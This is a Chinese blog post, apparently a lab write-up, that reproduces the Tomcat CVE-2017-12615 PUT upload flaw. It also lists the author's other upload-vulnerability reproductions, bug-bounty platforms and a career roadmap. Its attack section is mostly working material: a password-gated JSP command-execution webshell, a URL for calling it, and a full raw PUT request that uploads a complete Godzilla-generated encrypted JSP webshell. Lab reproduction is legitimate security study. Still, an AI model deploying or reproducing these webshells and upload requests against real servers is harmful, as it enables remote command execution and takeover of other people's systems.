博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。

殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。

擅长:对于技术、工具、漏洞原理、黑产打击的研究。

C站缘:C站的前辈,引领我度过了一个又一个技术的瓶颈期、迷茫期。

面向读者:对于网络安全方面的学者。

本文知识点(读者自测):

(1)JSP后门文件(√)

让读者如虎添翼

文件上传漏洞复现 目标 状态
【漏洞复现-dedecms-文件上传】vulfocus/dedecms-cve_2019_8933 后台的新建、上传文件功能、修改后缀功能 已发布
【漏洞复现-tomcat-弱口令+文件上传】vulfocus/tomcat-pass-getshell 后台部署WAR报getshell 已发布
【漏洞复现-weblogic-文件上传】vulfocus/weblogic-cve_2018_2894 后台新建、上传文件的功能点 已发布
【漏洞复现-showdoc-文件上传】​vulfocus/showdoc-cnvd_2020_26585 构造上传文件的数据包 已发布
【漏洞复现-monstra-文件上传】vulfocus/monstra_cve_2020_13384 PHP的特殊后缀绕过 已发布
【漏洞复现-oklite-文件上传】vulfocus/oklite-cve_2019_16131 后台上传zip数据包,服务器自动解析 已发布
【漏洞复现-dcrCms-文件上传】vulfocus/dcrcms-cnvd_2020_27175 后台上传点,修改上传文件的类型 已发布
【漏洞复现-TypesetterCms-文件上传ZIP】vulfocus/typesetter-cve_2020_25790 后台自带解析功能 已发布
【漏洞复现-phpok-文件上传】vulfocus/phpok-cve_2018_12491 后台新建、上传 已发布
【漏洞复现-EmpireCms-文件上传】vulfocus/empirecms-cve_2018_18086 新建上传、特定后缀文件 已发布
【漏洞复现-Apache-文件上传】vulfocus/apache-cve_2017_15715 后缀检测截断 已发布
【漏洞复现-jquery-文件上传】vulfocus/jquery-cve_2018_9207 curl命令上传工具 已发布
【漏洞复现-Tomacat-文件上传】vulfocus/tomcat-cve_2017_12615 JSP后门文件 已发布
2023将更新更多,敬请期待 —— ——
if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[1024]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); out.print("</pre>");

访问上传点
http://ip:端口/test.jsp?&pwd=123&cmd=pwd

连接webshell

jsp木马为(用哥斯拉生成的)

【后门工具】哥斯拉,YYDS# https://blog.csdn.net/qq_53079406/article/details/127224240?spm=1001.2014.3001.5502

再用同样方法修改为PUT上传jsp马

PUT /test.jsp/ HTTP/1.1
Host: 123.58.224.8:63174
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=68C661A6F14835A604475B436F524A77
Upgrade-Insecure-Requests: 1
Content-Length: 417
<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
 

掌握各种原理、不断打新的靶场

目标:edusrc、cnvd 

主页 | 教育漏洞报告平台 (sjtu.edu.cn)https://src.sjtu.edu.cn/https://www.cnvd.org.cnhttps://www.cnvd.org.cn/

second year 

不断学习、提升技术运用技巧,研究各种新平台

开始建立自己的渗透体系

目标:众测平台、企业src应急响应中心 

众测平台URL
漏洞盒子漏洞盒子 | 互联网安全测试众测平台
火线安全平台火线安全平台
漏洞银行BUGBANK 官方网站 | 领先的网络安全漏洞发现品牌 | 开放安全的提出者与倡导者 | 创新的漏洞发现平台
360漏洞众包响应平台360漏洞云漏洞众包响应平台
补天平台(奇安信)补天 - 企业和白帽子共赢的漏洞响应平台,帮助企业建立SRC
春秋云测首页
雷神众测(可信众测,安恒)雷神众测 - BountyTeam
云众可信(启明星辰)云众可信 - 互联网安全服务引领者
ALLSECALLSEC
360众测360众测平台
看雪众测(物联网)https://ce.kanxue.com/
CNVD众测平台网络安全众测平台
工控互联网安全测试平台CNCERT工业互联网安全测试平台
慢雾(区块链)Submit Bug Bounty - SlowMist Zone - Blockchain Ecosystem Security Zone
平安汇聚http://isrc.pingan.com/homePage/index
互联网大厂URL
阿里https://asrc.alibaba.com/#/
腾讯https://security.tencent.com/
百度https://bsrc.baidu.com/v2/#/home
美团https://security.meituan.com/#/home
360https://security.360.cn/
网易https://aq.163.com/
字节跳动https://security.bytedance.com/
京东https://security.jd.com/#/
新浪http://sec.sina.com.cn/
微博https://wsrc.weibo.com/
搜狗http://sec.sogou.com/
金山办公https://security.wps.cn/
有赞https://src.youzan.com/

Third Year 

学习最新的知识,建全自己的渗透体系

目标:参与护网(每一个男孩子心中的梦想) 

时间:一般5月面试,6/7月开始(持续2-3周)

分类:国家级护网、省级护网、市级护网、重大节日护网(如:建党、冬奥等)

系统命令终端显示 “sudo: gedit:找不到命令” 以及“Command ‘rpm‘ not found, but can be installed with:apt i”的原因分析与解决方法 30576 阅读